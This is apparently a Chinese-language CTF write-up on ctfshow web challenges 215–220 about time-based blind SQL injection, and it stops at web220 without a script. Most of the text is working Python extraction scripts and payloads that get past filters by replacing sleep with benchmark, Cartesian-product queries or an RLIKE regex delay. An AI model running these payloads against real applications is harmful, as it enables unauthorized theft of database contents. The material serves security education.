flag=""
for i in range(1,50):
for x in flagstr:
#payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x))
#ctfshow_web
#payload = "' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),sleep(3),1)#".format(i, ord(x))
#ctfshow_flagxc,ctfshow_info
#payload = "' or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))={}),sleep(3),1)#".format(i,ord(x))
#id,flagaa,i
payload = "' or if((ascii(substr((select flagaa from ctfshow_flagxc),{},1))={}),sleep(3),1)#".format(i,ord(x))
print(payload)
data = {
"ip":payload,
"debug":1,
}

try:
res = requests.post(url = url,data = data,timeout=2)
except:
time.sleep(0.3)
flag+=x
print("----------------------"+flag)
break
print(flag)
#try except --->这两个是处理异常用的,如果执行sleep(3)了话,那对try来说就是异常了,因为timeout规定的是2s,异常的话就会执行except下的代码。

image-20230103185247275

拿到flag了。

web216

源码

image-20230103190103648

题目增加了个base64编码,但是影响不大,这样还是可以绕过,抓个包,然后进行下面的分析就能绕过了。

image-20230103190054969

修改后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
import sys
import base64
url='http://18b8abd6-51e2-4fb8-90ce-f2887bc5ab82.challenge.ctf.show/api/index.php'
flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789"
flag=""
for i in range(1,50):
for x in flagstr:
#payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x))
#ctfshow_web
#payload = "'abc') or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),sleep(3),1)#".format(i, ord(x))
#ctfshow_flagxcc,ct
#payload = "'abc') or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))={}),sleep(3),1)#".format(i,ord(x))
#id,flagaac,i
payload = "'adb') or if((ascii(substr((select flagaac from ctfshow_flagxcc),{},1))={}),sleep(3),1)#".format(i,ord(x))
print(payload)
data = {
"ip":payload,
"debug":1,
}

try:
res = requests.post(url = url,data = data,timeout=2)
except:
time.sleep(0.3)
flag+=x
print("----------------------"+flag)
break
print(flag)
#try except --->这两个是处理异常用的,如果执行sleep(3)了话,那对try来说就是异常了,因为timeout规定的是2s,异常的话就会执行except下的代码。

web217

源码

image-20230103192035743

这里是吧sleep给过滤掉了。那么我们就可以用别的函数来替代sleep了。

这里就得用到benchmark函数了。

image-20230103192546638

这个函数的功能 benchmark(次数,实现的计算)

上图的意思就是进行了100000000次md5(1)的计算。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
import sys
import base64
url='http://5d44e38e-dd70-49f9-aa22-472a67c5d0bb.challenge.ctf.show/api/index.php'
flagstr="{}qwertyuiopasdfghjklzxcvbnm-_,0123456789"
flag=""
for i in range(1,50):
for x in flagstr:
#payload = "if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(x))
#ctfshow_web
#payload = "999) or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),benchmark(5000000,md5(1)),1)#".format(i,ord(x))
#ctfshow_flagxccb,ct
#payload = "999) or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))={}),benchmark(5000000,md5(1)),1)#".format(i,ord(x))
#id,flagaabc,i
payload = "999) or if((ascii(substr((select flagaabc from ctfshow_flagxccb),{},1))={}),benchmark(5000000,md5(1)),1)#".format(i,ord(x))
print(payload)
data = {
"ip":payload,
"debug":1,
}

try:
res = requests.post(url = url,data = data,timeout=2)
time.sleep(0.3)
except:

flag+=x
print("----------------------"+flag)
break
print(flag)
#try except --->这两个是处理异常用的,如果执行sleep(3)了话,那对try来说就是异常了,因为timeout规定的是2s,异常的话就会执行except下的代码。

web218

源码

image-20230103202950013

这次把sleep和benchmark都给过滤掉了,那么我们还可以利用笛卡尔乘积

1
2
3
4
5
6
7
8
9
10
11
笛卡尔积又叫笛卡尔乘积,是一个叫笛卡尔的人提出来的。
简单的说就是两个集合相乘的结果。
具体的定义去看看有关代数系的书的定义。
直观的说就是
集合A{a1,a2,a3}
集合B{b1,b2}
他们的
笛卡尔积

A*B
={(a1,b1),(a1,b2),(a2,b1),(a2,b2),(a3,b1),(a3,b2)}

离散数学里会学到这个东西。

image-20230103225712432

image-20230103230559724

这就是mysql里的笛卡尔乘积。

这里能让其产生延迟的感觉就是查大量的数据的时候就会产生延迟。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import requests
url = "http://45f61877-517c-463b-adae-cc648e4d6531.challenge.ctf.show/api/index.php"

strr = "1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
j = 1
res = ""
while 1:
for i in strr:
data = {
'ip': f"1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',(select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1),1",
'debug': '1'
}
print(i)
try:
r = requests.post(url, data=data, timeout=2.5)
except Exception as e:
res += i
print("-----------------------"+res)
j+=1



1
1) and if(substr((select database())),{j},1)='{i}',(select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1),1

可以第一个if判断改成2>1,拿去题目那试一下,看是否产生延迟.

limit

image-20230104001113081

image-20230104001125935

limit 1,1就是返回第一行的数。
image-20230104001335990

这个是返回第一行后面2行的数。

还有等等种可能,不理解的时候可以去本地去自己查询来理解。

web219

源码

image-20230104002030913

把这个东西给过滤掉了,这里就得知rlike也是可以进行时间盲注的。

这里就要五种方法来进行时间盲注,sleep benchmark rlike 笛卡尔乘积 还有一种是双链接

双链接是啥我也不太清楚,感兴趣的可以自己去查查。

rlike

就是利用正则表达式来做.

1
正侧匹配在匹配较长字符串但自由度比较高的字符串时会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时
1
SELECT if(1=1,(select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')),0)

这里用上一道题的脚本就行了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
"""
Author:Y4tacker
"""
import requests
url = "http://45f61877-517c-463b-adae-cc648e4d6531.challenge.ctf.show/api/index.php"

strr = "1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxc' limit 1,1"
# payload = "select flagaac from ctfshow_flagxc"
j = 1
res = ""
while 1:
for i in strr:
data = {
'ip': f"1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',(select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1),1",
'debug': '1'
}
print(i)
try:
r = requests.post(url, data=data, timeout=2.5)
except Exception as e:
res += i
print("-----------------------"+res)
j+=1


web220

源码

image-20230104003951518

把substr给给过滤掉了,那么我们就得去使用别的函数了,left,right这些都可以。

脚本

1

后面的sql题找个机会再去做,先做到这了